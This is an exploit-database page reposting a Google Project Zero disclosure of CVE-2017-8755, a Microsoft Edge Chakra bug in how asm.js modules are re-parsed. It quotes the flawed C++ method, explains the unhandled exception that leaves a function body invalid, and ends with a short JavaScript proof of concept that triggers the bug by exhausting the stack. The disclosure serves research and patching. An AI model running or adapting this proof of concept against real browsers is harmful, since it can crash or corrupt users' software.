[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Microsoft Edge Chakra - JavascriptFunction::ReparseAsmJsModule Incorrectly Re-parses Exploit

Author
Google Security Research
Risk
[
Security Risk High
]
0day-ID
0day-ID-28598
Category
dos / poc
Date add
21-09-2017
CVE
CVE-2017-8755
Platform
windows
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1327
 
Here's the method used to re-parse asmjs modules.
void JavascriptFunction::ReparseAsmJsModule(ScriptFunction** functionRef)
{
    ParseableFunctionInfo* functionInfo = (*functionRef)->GetParseableFunctionInfo();
    Assert(functionInfo);
    functionInfo->GetFunctionBody()->AddDeferParseAttribute();
    functionInfo->GetFunctionBody()->ResetEntryPoint();
    functionInfo->GetFunctionBody()->ResetInParams();
 
    FunctionBody * funcBody = functionInfo->Parse(functionRef);
 
#if ENABLE_PROFILE_INFO
    // This is the first call to the function, ensure dynamic profile info
    funcBody->EnsureDynamicProfileInfo();
#endif
 
    (*functionRef)->UpdateUndeferredBody(funcBody);
}
 
First, it resets the function body and then re-parses it. But it doesn't consider that "functionInfo->Parse(functionRef);" may throw an exception. So in the case, the function body remains reseted(invalid).
 
We can make it throw an exception simply by exhausting the stack. 
 
PoC:
-->
 
function Module() {
    'use asm';
 
    function f() {
    }
 
    return f;
}
 
function recur() {
    try {
        recur();
    } catch (e) {
        Module(1);
    }
}
 
recur();

#  0day.today [2024-12-27]  #